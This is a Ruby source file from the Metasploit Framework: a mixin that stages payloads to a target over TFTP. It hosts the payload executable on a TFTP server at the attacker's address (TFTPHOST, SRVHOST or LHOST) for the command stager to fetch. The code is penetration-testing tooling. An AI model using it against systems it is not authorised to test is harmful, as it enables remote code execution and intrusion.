# -*- coding: binary -*-
##
# $Id$
##

require 'rex/text'
require 'msf/core/exploit/tftp'
require 'msf/core/exploit/cmdstager'

module Msf

###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerTFTP

	include Msf::Exploit::CmdStager
	include Msf::Exploit::TFTPServer

	def initialize(info = {})
		super

		register_advanced_options(
			[
				OptString.new( 'TFTPHOST',  [ false, 'The address of the machine hosting the file via TFTP.' ]),
				OptString.new( 'TFTPRSRC',  [ false, 'The filename of the TFTP-hosted resource.' ]),
			], self.class)
	end

	def create_stager(exe)
		Rex::Exploitation::CmdStagerTFTP.new(exe)
	end

	def execute_cmdstager(opts = {})
		tftphost = datastore['TFTPHOST']
		tftphost ||= datastore['SRVHOST']
		tftphost ||= datastore['LHOST']

		@exe_tag = datastore['TFTPRSRC']
		@exe_tag ||= Rex::Text.rand_text_alphanumeric(8)

		opts.merge!({ :tftphost => tftphost, :transid => @exe_tag })

		super
	end

	#
	# Start the service and register the file
	#
	def execute_cmdstager_begin(opts)
		start_service(@exe_tag, @exe)
	end

	#
	# Stop the service
	#
	def execute_cmdstager_end(opts)
		stop_service
	end

	def payload_exe
		return nil if not @stager_instance
		@stager_instance.payload_exe
	end

end

end
